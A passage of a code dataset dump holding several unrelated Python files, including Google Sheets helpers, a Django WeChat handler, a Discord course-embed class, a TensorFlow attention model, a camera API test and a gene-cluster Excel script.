List[str], worksheet_name: Optional[str] = None, phases: Optional[List[str]] = None) -> None:\n ws = await get_worksheet(sheet_name, worksheet_name)\n\n exp_row = len(await ws.col_values(1)) + 4\n \n if phases is None:\n phase = [None]\n\n phase_cols = {phase: 1 + (len(metric_keys) + 2) * i for i, phase in enumerate(phases)}\n\n await update_row(ws, exp_row, 1, [exp_name])\n for phase in phases:\n await update_row(ws, exp_row + 1, phase_cols[phase], [phase])\n await update_row(ws, exp_row + 2, phase_cols[phase], ['iter'] + metric_keys)\n \n return exp_row, phase_cols\n\n\nasync def upload_metrics(sheet_name: str, metrics: Dict[str, int], worksheet_name: Optional[str] = None, epoch: Optional[int] = None, row: Optional[int] = None, col: Optional[int] = 1) -> None:\n \"\"\"\n Upload metrics to googlesheets.\n \"\"\"\n ws = await get_worksheet(sheet_name, worksheet_name)\n\n if row is None:\n row = len(await ws.col_values(col)) + 1\n\n # Add data\n await update_row(ws, row, col, [epoch] + list(metrics.values()))\n\n\nasync def begin_experiment(sheet_name: str, exp_name: str, args: Dict[str, int], worksheet_name: Optional[str] = None):\n \"\"\" Adds a new row for a given experiment name, if necessary, and returns the cell object.\n\n Add way to find args keys and insert val in correct columns\n \"\"\"\n ws = await get_worksheet(sheet_name, worksheet_name)\n\n exp_row = len(await ws.col_values(1)) + 1\n await update_row(ws, exp_row, 1, [exp_name])\n return exp_row\n\n\nasync def upload_results(sheet_name: str, exp_name: str, results: Dict[str, int], worksheet_name: Optional[str] = None, row: Optional[int] = 1, col: Optional[int] = 1) -> None:\n \"\"\"\n Upload the results to googlesheets. If no row with the exp_name\n exists, then a new row will be added. If the experiment does\n exist, the row will simply be updated.\n \"\"\"\n ws = await get_worksheet(sheet_name, worksheet_name)\n\n data = [v for v in results.values()]\n await update_row(ws, row, col, data)\n","sub_path":"labscribe/gsheets_async.py","file_name":"gsheets_async.py","file_ext":"py","file_size_in_byte":3447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"257876536","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 14 14:49:45 2017\n\n# 每天将分钟数据转换出来\n\n@author: Tracy Zhu\n\"\"\"\n\nimport os\nfrom datetime import datetime\nimport time\n\nnow = datetime.now()\ntrading_day = now.strftime('%Y%m%d')\n#trading_day = \"20170914\"\nos.chdir(\"F:\\\\quot_tools\")\nint_hour = time.localtime().tm_hour\n\ncommand_line = ''\nif int_hour > 15:\n command_line = \"quote_tools_minute Z:\\\\\" + trading_day + \" E:\\\\quote_data\\\\1M_K 1\"\nelse:\n command_line = \"quote_tools_minute Z:\\\\night_data\\\\\" + trading_day + \" E:\\\\quote_data\\\\1M_K 1\"\n#command_line = \"quote_tools_minute V:\\\\night_data\\\\\"+ trading_day + \" E:\\\\quote_data\\\\1M_K 1\"\nos.system(command_line)\n","sub_path":"cointergated_pairs/transfer_minute_data.py","file_name":"transfer_minute_data.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"596085249","text":"import discord\nimport re\nimport random\n\n# Illini Blue ('Midnight'), Illini Orange('Cinnabar)\ncolors = [0x12294b, 0xe84b38]\n\nmistakes = ['Am I wrong?',\n 'Did I make a mistake?',\n 'Have a suggestion?']\n\n\n# Function to get department and class number.\ndef get_class_id(class_code):\n # Group 1:([A-Za-z]{2,4})\n # Group 2:(\\d{3})\n temp = re.findall('([A-Za-z]{2,4})\\s?(\\d{3})', class_code)\n return temp[0][0], temp[0][1]\n\n\nclass Course:\n\n def __init__(self, name, title, crh, gpa, status, deg_attr, desc, url, online_status):\n self.class_name = name\n self.title = name + ': ' + title\n dept, num = get_class_id(name)\n self.url = url\n self.crh = crh\n self.gpa = gpa\n self.desc = desc\n self.deg_attr = deg_attr\n self.status = status + '\\n' + online_status\n\n def get_embed(self):\n embed = discord.Embed(title=self.title, description=self.desc, url=self.url, color=random.choice(colors))\n # print(self.title)\n # print(self.desc)\n embed.add_field(name='Credit Hours', value=self.crh, inline=False)\n # print(self.crh)\n embed.add_field(name='Average GPA', value=self.gpa, inline=False)\n # print(self.gpa)\n # print(self.deg_attr)\n if len(self.deg_attr) > 0:\n embed.add_field(name='Degree Attributes', value=self.deg_attr, inline=False)\n\n embed.add_field(name='Status', value=self.status, inline=False)\n # embed.add_field(name='Online/In-Person Status', value=self.online_status, inline=False)\n # print(repr(self.status))\n\n if random.random() < 0.25:\n embed.set_footer(text=random.choice(mistakes) + ' Make an issue on GitHub (timot3/uiuc-classes-bot).')\n\n return embed\n","sub_path":"utils/Course.py","file_name":"Course.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"363302410","text":"#-*- coding:utf-8 –*-\n\n__author__ = 'admin'\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, render_to_response\nimport time\n\n\nTESTING = False\n\nWECHAT_TOKEN = \"adsfasdfasdf\"\n\n#微信服务器在五秒内收不到响应会断掉连接,并且重新发起请求,总共重试三次\n\n#关于重试的消息排重,推荐使用msgid排重。\n\n#假如服务器无法保证在五秒内处理并回复,可以直接回复空串,微信服务器不会对此作任何处理,并且不会发起重试。\n\n\n#import time\n#print time.asctime(time.localtime(1309433893)) #-> ‘Thu Jun 30 19:38:13 2011′\n#print time.asctime(time.gmtime(1309433893)) #-> ‘Thu Jun 30 11:38:13 2011′\n\nclass Msg():\n\tdef __init__(self):\n\t\tpass\n\n\tdef deal(self,xml):\n\t\tself.ToUserName = xml.find('ToUserName').text #开发者微信号\n\t\tself.FromUserName = xml.find('FromUserName').text #发送方帐号(一个OpenID)\n\t\tself.CreateTime = xml.find('CreateTime').text #消息创建时间 (整型)\n\t\tself.MsgId = xml.find('MsgId').text\n\t\tself.MsgType = xml.find('MsgType').text\n\n\t\tif self.MsgType == \"text\":\n\t\t\t#print \"a location\"\n\t\t\tself.Content = xml.find('Content').text\n\t\t\treturn self.dealTxt()\n\n\t\telif self.MsgType == \"image\":\n\t\t\tself.PicUrl = xml.find('PicUrl').text\n\t\t\tself.MediaId = xml.find('MediaId').text\n\n\t\telif self.MsgType == \"voice\":\n\t\t\tself.MediaId = xml.find('MediaId').text\n\t\t\tself.Format = xml.find('Format').text #如amr,speex等\n\n\n\t\telif self.MsgType == \"video\":\n\t\t\tself.MediaId = xml.find('MediaId').text\n\t\t\tself.ThumbMediaId = xml.find('ThumbMediaId').text\n\n\t\telif self.MsgType == \"location\":\n\t\t\t#print \"a location\"\n\t\t\tself.Location_X = xml.find('Location_X').text\n\t\t\tself.Location_Y = xml.find('Location_Y').text\n\t\t\tself.Scale = xml.find('Scale').text #?\n\t\t\tself.Label = xml.find('Label').text #?\n\n\t\telif self.MsgType == \"link\":\n\t\t\t# print \"a link\"\n\t\t\tself.Title = xml.find('Title').text\n\t\t\tself.Description = xml.find('Description').text\n\t\t\tself.Url = xml.find('Url').text\n\n\t\telif self.MsgType == \"event\":\n\t\t\treturn HttpResponse(\"\")\n\t\t\tself.Event = xml.find('Event').text #subscribe unsubscribe\n\n\t\t\tself.EventKey = xml.find('EventKey').text # 可有\n\t\t\tself.Ticket = xml.find('Ticket').text # 可有\n\n\n\n\n\n\t\treturn HttpResponse(\"\")\n\n# \n# \n# \n# \n\n\tdef dealTxt(self):\n\t\tcontent = {}\n\t\tcontent['ToUserName'] = self.FromUserName\n\t\tcontent['FromUserName'] = self.ToUserName\n\t\tcontent['CreateTime'] = int(time.time())\n\t\tcontent['Content'] = \"公众号正在开发中!\"\n\t\tif TESTING:\n\t\t\treturn render_to_response(\"test_text.xml\",{'item':content})\n\t\treturn render_to_response(\"text.xml\",{'item':content})\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"wechat/wechat/msg.py","file_name":"msg.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"182499060","text":"#!/usr/local/bin/python3.7\n\n\"\"\"Random Node\n\nGiven a singly linked list, return a random node's value from the \nlinked list. Each node must have the same probability of being chosen.\n\nFollow up:\nWhat if the linked list is extremely large and its length is unknown \nto you? Could you solve this efficiently without using extra space?\n\nExample:\n\n// Init a singly linked list [1,2,3].\nListNode head = new ListNode(1);\nhead.next = new ListNode(2);\nhead.next.next = new ListNode(3);\nSolution solution = new Solution(head);\n\n// getRandom() should return either 1, 2, or 3 randomly. Each element \n// should have equal probability of returning.\nsolution.getRandom();\n\"\"\"\nimport random\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution1:\n \"\"\"Known length of LinkedList\n \"\"\"\n\n def __init__(self, head: ListNode):\n \"\"\"\n @param head The linked list's head.\n Note that the head is guaranteed to be not null, so it contains at least one node.\n \"\"\"\n self.nodes = []\n\n while(head):\n self.nodes.append(head)\n head = head.next\n\n def getRandom(self) -> int:\n \"\"\"\n Returns a random node's value.\n \"\"\"\n\n return random.choice(self.nodes).val\n\nclass Solution2:\n \"\"\"Unknown dynamically changed length of LinkedList\n \n Solution based on Reservoir sampling.\n \"\"\"\n \n def __init__(self, head: ListNode):\n \"\"\"\n @param head The linked list's head.\n Note that the head is guaranteed to be not null, so it contains at least one node.\n \"\"\"\n self.head = head\n\n def getRandom(self) -> int:\n \"\"\"\n Returns a random node's value.\n \"\"\"\n R = self.head; k = 1\n node = self.head.next\n i = 1\n\n while(node):\n j = random.randint(1, i+1)\n if j <= k:\n R = node\n\n node = node.next\n i += 1\n\n return R.val\n\n# Init a singly linked list [1,2,3].\nhead = ListNode(1)\nhead.next = ListNode(2)\nhead.next.next = ListNode(3)\nsolution1 = Solution1(head)\nsolution2 = Solution2(head)\n\n# getRandom() should return either 1, 2, or 3 randomly. Each element \n# should have equal probability of returning.\nprint(solution1.getRandom())\nprint(solution2.getRandom()) \n","sub_path":"RandomNode.py","file_name":"RandomNode.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"363635033","text":"# Camera API Assignment by Jason Ross\r\n\r\nimport json\r\nimport unittest\r\nfrom unittest import mock\r\n\r\nfrom cameraclient.cameradata import CameraData\r\nfrom cameraclient.client import Client\r\n\r\n\r\nclass TestProveAssignmentRequirements(unittest.TestCase):\r\n def test_ProveAssignmentRequirements(self):\r\n \"\"\"\r\n Use mocks to prove the requirements of the data retrieval assignment.\r\n\r\n - Which cameras have used the most data?\r\n - Which cameras have the highest number of images?\r\n - What are the largest images per camera?\r\n \"\"\"\r\n\r\n # Configure the cameras\r\n cameras = [CameraData('First', [1, 2000, 4000]),\r\n CameraData('Second', [1000, 9000, 1234]),\r\n CameraData('Third', [1003, 2003, 4003, 6003, 9003]),\r\n CameraData('Fourth', [11000, 19000, 11234]),\r\n CameraData('Fifth', [1005, 2005, 4005, 6005, 9005])\r\n ]\r\n test_camera_identifiers = []\r\n test_camera_identifiers.extend(list(map(lambda x: x.camera_id, cameras)))\r\n\r\n test_connection_timeout = 2\r\n test_response_code = 200\r\n test_base_url = 'http://127.0.0.1/camera'\r\n test_number_of_cameras = len(cameras)\r\n\r\n self.assertEqual(test_number_of_cameras, len(test_camera_identifiers))\r\n\r\n # Retrieve the list of cameras\r\n cameras_data = None\r\n with mock.patch.object(Client, 'retrieve_response', return_value=[test_response_code, json.dumps(\r\n test_camera_identifiers)]) as mock_retrieve_response:\r\n client = Client(test_base_url)\r\n cameras_response_code, cameras_data = client.get_cameras(test_connection_timeout)\r\n self.assertEqual(test_response_code, cameras_response_code)\r\n\r\n print(str(cameras_data))\r\n\r\n # Now iterate through the cameras and retrieve the data for them\r\n results = []\r\n\r\n for camera in cameras:\r\n with mock.patch.object(Client, 'retrieve_response',\r\n return_value=[test_response_code,\r\n json.dumps(camera.__dict__)]) as mock_retrieve_response:\r\n client = Client(test_base_url)\r\n response_code, data = client.get_camera_data(camera.camera_id, test_connection_timeout)\r\n self.assertEqual(test_response_code, response_code)\r\n self.assertEqual(camera.camera_id, data.camera_id)\r\n self.assertEqual(camera.images, data.images)\r\n results.append(data)\r\n\r\n # Iterate across the elements in the results dictionary to print the overall data\r\n # Also solves the assignment problem:\r\n # - What are the largest images per camera?\r\n\r\n for result in results:\r\n print('Camera: {}, image count: {}, biggest image: {}, total data size: {}'\r\n .format(result.camera_id,\r\n result.total_image_count(),\r\n result.largest_image_size(),\r\n result.total_image_data_size()\r\n ))\r\n\r\n # Query the dictionary to retrieve the data directly\r\n # - Which cameras have used the most data?\r\n\r\n cameras_with_most_data = []\r\n most_data = max(map(lambda x: x.total_image_data_size(), results))\r\n cameras_with_most_data.extend(filter(lambda x: x.total_image_data_size() == most_data, results))\r\n\r\n print('Camera(s) with most data: {} ({} bytes)'.format(list(map(lambda x: x.camera_id, cameras_with_most_data)),\r\n most_data))\r\n\r\n # - Which cameras have the highest number of images?\r\n cameras_with_most_images = []\r\n most_images = max(map(lambda x: x.total_image_count(), results))\r\n cameras_with_most_images.extend(filter(lambda x: x.total_image_count() == most_images, results))\r\n\r\n print('Camera(s) with most images: {} ({} images)'.format(\r\n list(map(lambda x: x.camera_id, cameras_with_most_images)),\r\n most_images))\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","sub_path":"testretriever/testretrieval.py","file_name":"testretrieval.py","file_ext":"py","file_size_in_byte":4193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"243109343","text":"from Inference import Infer\nimport cv2\nimport argparse\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--gpu',dest = \"gpu\" ,type=int, default = -1,\n help='enter the number of gpu')\n\nparser.add_argument('--video_path',dest = \"video\" , default = \"Images/Traffic.jpg\",\n help='enter the path of the video')\nparser.add_argument('--image_out',dest = \"out\" , default = \"out.jpg\",\n help='enter the path to the output')\n\nargs = parser.parse_args()\n\n\nInference_class = Infer(detect_thresh = 0.5,gpu=args.gpu)\n\n\ncap = cv2.VideoCapture(args.video)\n\nwhile(True):\n # Capture frame-by-frame\n ret, frame = cap.read()\n cv2.imshow(\"frame\",frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n # Our operations on the frame come here\n Inference_class.infer(frame=frame,video=True,out=args.out)\n\n\n\n\n\n# When everything done, release the capture\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"618715617","text":"import tensorflow as tf\nimport numpy as np\n\nclass BucketizedAttention:\n def __init__(self, num_classes, vocab_size, embedding_size):\n # self.x.shape = [batch_size, max_seq_length, max_sent_length]\n self.x = tf.placeholder(tf.int32, [None, None, None],\n name=\"x\") # None because of difference in training and eval data dimensions\n self.y = tf.placeholder(tf.float32, [None, num_classes], name=\"y\") # TODO: why y: float and x: int??\n self.dropout_keep_prob = tf.placeholder(tf.float32, name=\"dropout_keep_prob\")\n # self.sent_lengths.shape = [batch_size, max_seq_length]\n self.sent_lengths = tf.placeholder(tf.int32, [None, None])\n # self.seq_lengths.shape = [batch_size]\n self.seq_lengths = tf.placeholder(tf.int32, [None])\n self.max_sent_length = tf.placeholder(tf.int32)\n self.max_seq_length = tf.placeholder(tf.int32)\n\n self.W = tf.Variable(tf.constant(0.0, shape=[vocab_size, embedding_size]), trainable=False, name=\"W\")\n self.embedding_placeholder = tf.placeholder(tf.float32, [vocab_size, embedding_size])\n self.embedding_init = self.W.assign(self.embedding_placeholder)\n\n # x_reshaped.shape = [batch_sze*max_seq_length, max_sent_length]\n x_reshaped = tf.reshape(self.x, [-1, self.max_sent_length])\n sent_lengths_reshaped = tf.reshape(self.sent_lengths, [-1]) #TODO : check if correct!!!\n # vecs.shape = [batch_size*max_seq_length, max_sent_length, vec_dim]\n # word_attention.shape = [batch_size*max_seq_lengt, sent_vec_dim]\n with tf.variable_scope(\"wa1\"):\n words_attention1 = self.word_attention1(x_reshaped, sent_lengths_reshaped)\n with tf.variable_scope(\"wa2\"):\n words_attention2 = self.word_attention2(x_reshaped, sent_lengths_reshaped)\n with tf.variable_scope(\"wa3\"):\n words_attention3 = self.word_attention3(x_reshaped, sent_lengths_reshaped)\n with tf.variable_scope(\"wa4\"):\n words_attention4 = self.word_attention4(x_reshaped, sent_lengths_reshaped)\n\n # self.sentence_level.shape = [batch_size, max_seq_length, sent_vec_dim]\n self.sentence_level_unsummed1 = tf.reshape(words_attention1, [-1, self.max_seq_length, 20])\n self.sentence_level1 = tf.reduce_sum(self.sentence_level_unsummed1, axis=1)\n self.softmaxed1 = tf.nn.l2_normalize(self.sentence_level1, dim=-1)\n\n self.sentence_level_unsummed2 = tf.reshape(words_attention2, [-1, self.max_seq_length, 20])\n self.sentence_level2 = tf.reduce_sum(self.sentence_level_unsummed2, axis=1)\n self.softmaxed2 = tf.nn.l2_normalize(self.sentence_level2, dim=-1)\n\n self.sentence_level_unsummed3 = tf.reshape(words_attention3, [-1, self.max_seq_length, 20])\n self.sentence_level3 = tf.reduce_sum(self.sentence_level_unsummed3, axis=1)\n self.softmaxed3 = tf.nn.l2_normalize(self.sentence_level3, dim=-1)\n\n self.sentence_level_unsummed4 = tf.reshape(words_attention4, [-1, self.max_seq_length, 20])\n self.sentence_level4 = tf.reduce_sum(self.sentence_level_unsummed4, axis=1)\n self.softmaxed4 = tf.nn.l2_normalize(self.sentence_level4, dim=-1)\n\n #self.outputs = tf.concat([self.softmaxed1, self.softmaxed2, self.softmaxed3, self.softmaxed4], axis=-1)\n self.outputs = tf.concat([self.sentence_level1, self.sentence_level2, self.sentence_level3, self.sentence_level4], axis=-1)\n normalized_output = tf.nn.l2_normalize(self.outputs, dim=-1)\n shape = tf.shape(self.outputs)\n #tf.logging.info(msg=shape)\n #tf.logging.log(msg=shape)\n regularizer = tf.contrib.layers.l2_regularizer(scale=1.)\n with tf.name_scope(\"dense1\"):\n self.dense1 = tf.layers.dense(\n inputs=normalized_output,\n units=50,\n activation=tf.nn.relu,\n kernel_regularizer=regularizer,\n\n )\n with tf.name_scope(\"dropout\"):\n dropout = tf.layers.dropout(\n inputs=self.dense1,\n rate=self.dropout_keep_prob\n )\n # with tf.name_scope(\"dense2\"):\n # self.dense2 = tf.layers.dense(\n # inputs=dropout,\n # units=50,\n # activation=tf.nn.relu,\n # kernel_regularizer=regularizer\n # )\n with tf.name_scope(\"output\"):\n self.logits = tf.layers.dense(\n inputs=normalized_output,\n units=num_classes,\n kernel_regularizer=regularizer\n ) # TODO: add initialization\n\n with tf.name_scope(\"loss\"):\n xentropy = tf.nn.softmax_cross_entropy_with_logits(labels=self.y, logits=self.logits)\n self.loss = tf.reduce_mean(xentropy) # TODO: add l2 loss\n\n with tf.name_scope(\"accuracy\"):\n correct = tf.equal(tf.argmax(input=self.logits, axis=1), tf.argmax(input=self.y, axis=1))\n self.accuracy = tf.reduce_mean(tf.cast(correct, tf.float32), name=\"accuracy\")\n\n def predict(self):\n predictions = {\n \"labels\": tf.argmax(input=self.y, axis=1),\n \"predictions\": tf.argmax(input=self.logits, axis=1),\n \"probabilities\": tf.nn.softmax(self.logits)\n }\n return predictions\n\n def optimize(self):\n # Training model\n learning_rate = 0.0001\n global_step = tf.Variable(0, name=\"global_step\", trainable=False)\n optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)\n return optimizer.minimize(self.loss, global_step=global_step), global_step\n\n def word_attention1(self, sample, sent_length):\n self.word_context_vec = tf.Variable(tf.random_uniform(shape=[10, 1]), name=\"word_context_vec1\")\n self.weight = tf.Variable(tf.random_uniform(shape=[20, 10]), name=\"sentence_weight1\")\n self.bias = tf.Variable(tf.random_uniform(shape=[10]), name=\"sentence_bias1\")\n vecs = tf.nn.embedding_lookup(self.W, sample)\n with tf.name_scope(\"word_biLSTM1\"):\n lstm_fw_cell = tf.contrib.rnn.LSTMCell(10, state_is_tuple=True)\n lstm_bw_cell = tf.contrib.rnn.LSTMCell(10, state_is_tuple=True)\n (output_fw, output_bw), states = tf.nn.bidirectional_dynamic_rnn(cell_fw=lstm_fw_cell, cell_bw=lstm_bw_cell,\n inputs=vecs, sequence_length=sent_length, # TODO\n dtype=tf.float32, swap_memory=True, time_major=False)\n outputs = tf.concat([output_fw, output_bw], 2)\n\n with tf.name_scope(\"word_attention_layer1\"):\n\n\n def fn(x):\n u = tf.tanh(tf.add(tf.matmul(x, self.weight), self.bias)) # u: (d, 50)\n dot = tf.matmul(u, self.word_context_vec) # dot: (d, 1)\n return dot\n\n outputs_time_major = tf.transpose(outputs, perm=[1, 0, 2])\n dots_time_major = tf.map_fn(fn, outputs_time_major)\n dots = tf.transpose(dots_time_major, perm=[1, 0, 2])\n\n self.alphas1 = tf.nn.softmax(dots, dim=1) # alphas: (d, t, 1)\n outputs_scaled = tf.multiply(self.alphas1, outputs)\n attention_outputs = tf.reduce_sum(outputs_scaled, axis=1) # v: (d, e)\n return attention_outputs\n\n def word_attention2(self, sample, sent_length):\n self.word_context_vec2 = tf.Variable(tf.random_uniform(shape=[10, 1]), name=\"word_context_vec2\")\n self.weight2 = tf.Variable(tf.random_uniform(shape=[20, 10]), name=\"sentence_weight2\")\n self.bias2 = tf.Variable(tf.random_uniform(shape=[10]), name=\"sentence_bias2\")\n vecs = tf.nn.embedding_lookup(self.W, sample)\n with tf.name_scope(\"word_biLSTM2\"):\n lstm_fw_cell = tf.contrib.rnn.LSTMCell(10, state_is_tuple=True)\n lstm_bw_cell = tf.contrib.rnn.LSTMCell(10, state_is_tuple=True)\n (output_fw, output_bw), states = tf.nn.bidirectional_dynamic_rnn(cell_fw=lstm_fw_cell, cell_bw=lstm_bw_cell,\n inputs=vecs, sequence_length=sent_length,\n # TODO\n dtype=tf.float32, swap_memory=True,\n time_major=False)\n outputs = tf.concat([output_fw, output_bw], 2)\n\n with tf.name_scope(\"word_attention_layer2\"):\n\n\n def fn(x):\n u = tf.tanh(tf.add(tf.matmul(x, self.weight2), self.bias2)) # u: (d, 50)\n dot = tf.matmul(u, self.word_context_vec2) # dot: (d, 1)\n return dot\n\n outputs_time_major = tf.transpose(outputs, perm=[1, 0, 2])\n dots_time_major = tf.map_fn(fn, outputs_time_major)\n dots = tf.transpose(dots_time_major, perm=[1, 0, 2])\n\n self.alphas2 = tf.nn.softmax(dots, dim=1) # alphas: (d, t, 1)\n outputs_scaled = tf.multiply(self.alphas2, outputs)\n attention_outputs = tf.reduce_sum(outputs_scaled, axis=1) # v: (d, e)\n return attention_outputs\n\n\n def word_attention3(self, sample, sent_length):\n self.word_context_vec3 = tf.Variable(tf.random_uniform(shape=[10, 1]), name=\"word_context_vec3\")\n self.weight3 = tf.Variable(tf.random_uniform(shape=[20, 10]), name=\"sentence_weight3\")\n self.bias3 = tf.Variable(tf.random_uniform(shape=[10]), name=\"sentence_bias3\")\n vecs = tf.nn.embedding_lookup(self.W, sample)\n with tf.name_scope(\"word_biLSTM3\"):\n lstm_fw_cell = tf.contrib.rnn.LSTMCell(10, state_is_tuple=True)\n lstm_bw_cell = tf.contrib.rnn.LSTMCell(10, state_is_tuple=True)\n (output_fw, output_bw), states = tf.nn.bidirectional_dynamic_rnn(cell_fw=lstm_fw_cell, cell_bw=lstm_bw_cell,\n inputs=vecs, sequence_length=sent_length,\n # TODO\n dtype=tf.float32, swap_memory=True,\n time_major=False)\n outputs = tf.concat([output_fw, output_bw], 2)\n\n with tf.name_scope(\"word_attention_layer3\"):\n\n\n def fn(x):\n u = tf.tanh(tf.add(tf.matmul(x, self.weight3), self.bias3)) # u: (d, 50)\n dot = tf.matmul(u, self.word_context_vec3) # dot: (d, 1)\n return dot\n\n outputs_time_major = tf.transpose(outputs, perm=[1, 0, 2])\n dots_time_major = tf.map_fn(fn, outputs_time_major)\n dots = tf.transpose(dots_time_major, perm=[1, 0, 2])\n\n self.alphas3 = tf.nn.softmax(dots, dim=1) # alphas: (d, t, 1)\n outputs_scaled = tf.multiply(self.alphas3, outputs)\n attention_outputs = tf.reduce_sum(outputs_scaled, axis=1) # v: (d, e)\n return attention_outputs\n\n def word_attention4(self, sample, sent_length):\n self.word_context_vec4 = tf.Variable(tf.random_uniform(shape=[10, 1]), name=\"word_context_vec4\")\n self.weight4 = tf.Variable(tf.random_uniform(shape=[20, 10]), name=\"sentence_weight4\")\n self.bias4 = tf.Variable(tf.random_uniform(shape=[10]), name=\"sentence_bias4\")\n vecs = tf.nn.embedding_lookup(self.W, sample)\n with tf.name_scope(\"word_biLSTM4\"):\n lstm_fw_cell = tf.contrib.rnn.LSTMCell(10, state_is_tuple=True)\n lstm_bw_cell = tf.contrib.rnn.LSTMCell(10, state_is_tuple=True)\n (output_fw, output_bw), states = tf.nn.bidirectional_dynamic_rnn(cell_fw=lstm_fw_cell, cell_bw=lstm_bw_cell,\n inputs=vecs, sequence_length=sent_length,\n # TODO\n dtype=tf.float32, swap_memory=True,\n time_major=False)\n outputs = tf.concat([output_fw, output_bw], 2)\n\n with tf.name_scope(\"word_attention_layer4\"):\n\n\n def fn(x):\n u = tf.tanh(tf.add(tf.matmul(x, self.weight4), self.bias4)) # u: (d, 50)\n dot = tf.matmul(u, self.word_context_vec4) # dot: (d, 1)\n return dot\n\n outputs_time_major = tf.transpose(outputs, perm=[1, 0, 2])\n dots_time_major = tf.map_fn(fn, outputs_time_major)\n dots = tf.transpose(dots_time_major, perm=[1, 0, 2])\n\n self.alphas4 = tf.nn.softmax(dots, dim=1) # alphas: (d, t, 1)\n outputs_scaled = tf.multiply(self.alphas4, outputs)\n attention_outputs = tf.reduce_sum(outputs_scaled, axis=1) # v: (d, e)\n return attention_outputs\n\n","sub_path":"BAN.py","file_name":"BAN.py","file_ext":"py","file_size_in_byte":13115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"582554551","text":"# Exercício Python 019: Um professor quer sortear um dos seus quatro alunos para apagar o quadro. Faça um programa que ajude ele, lendo o nome dos alunos e escrevendo na tela o nome do escolhido.\n\nfrom random import choice\n\nn1 = input('Primeiro aluno: ')\nn2 = input('Segundo aluno: ')\nn3 = input('Terceiro aluno: ')\nn4 = input('Quarto aluno: ')\nlista = [n1, n2, n3, n4]\nescolhido = choice(lista)\nprint('{} foi escolhido(a)'.format(escolhido))\n","sub_path":"Curso_em_video/Exercício Resolvidos/Mundo 01/19 – Sorteando um item da Lista.py","file_name":"19 – Sorteando um item da Lista.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"445700672","text":"import pandas as pd \r\nimport numpy as np \r\nimport os \r\n\r\n\r\nfrom kunt_df_generator import gene_celltype_df_builder, data_joiner, df_generator_expended\r\n\r\n# Define the names of the files.\r\n# All the files needs to be defined here. \r\nexcelsheet_cluster = 'Clusters.xls'\r\nexcelsheet_brain_celltpye = 'NEW_brain_immune_vascular_celltypes_def.xlsx'\r\n\r\ndf_cluster = pd.read_excel(excelsheet_cluster, \r\n\t\t\t\tsheet_name='cluster_beskrivelse_ex')\r\n\r\ndf_braincell = pd.read_excel(excelsheet_brain_celltpye)\r\n\r\n# The specific columns are to be analysed. \r\ndf_cluster_spfc = df_cluster[['Gene','Gene.full', 'Gene.type', \r\n\t\t\t\t'Biological.processes', 'Tissue.spicificity',\r\n\t\t\t\t'Cell.specificity.cellular.location']]\r\n\r\n# Loop through all the MS group files \r\nfilepath_group = 'C:\\\\Users\\\\celeb\\\\Dropbox\\\\Kunt\\\\clusters\\\\MS vs CTRL group'\r\nfile_list_group = os.listdir(filepath_group)\r\nos.chdir(filepath_group)\r\n\r\nfor excel_file in file_list_group: \r\n\t# Read the excel files into python pandas dataframe. (Changing the Data)\r\n\tdf_conserved = pd.read_excel(excel_file, sheet_name='Conserved')\r\n\tdf_ms_up = pd.read_excel(excel_file, sheet_name='MS up')\r\n\tdf_ms_down = pd.read_excel(excel_file, sheet_name='MS down')\r\n\r\n\t# Store the specific genes in a list from the group excel file \r\n\t# In this case: conserved, ms up and ms down # A fuction can be defined. \r\n\tgenes_conserved = df_conserved.iloc[2:,0].unique()\r\n\tgenes_ms_up = df_ms_up['Gene'].unique()\r\n\tgenes_ms_down = df_ms_down['Gene'].unique()\r\n\r\n\t# The specific genes from the group are to be read in cluster \r\n\t# Than those specific rows in cluster are to be copied to a new excel file \r\n\r\n\t# Groups\r\n\tjoin_conserved=data_joiner(gene_list=genes_conserved,\r\n\t\tdf_cluster=df_cluster, df_cluster_spfc=df_cluster_spfc)\r\n\tjoin_ms_up=data_joiner(gene_list=genes_ms_up,\r\n\t\tdf_cluster=df_cluster, df_cluster_spfc=df_cluster_spfc)\r\n\tjoin_ms_down=data_joiner(gene_list=genes_ms_down,\r\n\t\tdf_cluster=df_cluster, df_cluster_spfc=df_cluster_spfc)\r\n\r\n\t# Cell type \r\n\tdf_celltype_conserved = gene_celltype_df_builder(gene_list=genes_conserved,\r\n\t\tdf_braincell=df_braincell)\r\n\tprint(df_celltype_conserved)\r\n\tdf_celltype_ms_up= gene_celltype_df_builder(gene_list=genes_ms_up,\r\n\t\tdf_braincell=df_braincell)\r\n\tdf_celltype_ms_down= gene_celltype_df_builder(gene_list=genes_ms_down,\r\n\t\tdf_braincell=df_braincell)\r\n\tprint(df_celltype_conserved)\r\n\r\n\t# Cell type expended\r\n\tfilepath = 'C:\\\\Users\\\\celeb\\\\Dropbox\\\\Kunt\\\\clusters\\\\cell types_expanded'\r\n\tfile_list_celltype_expanded = 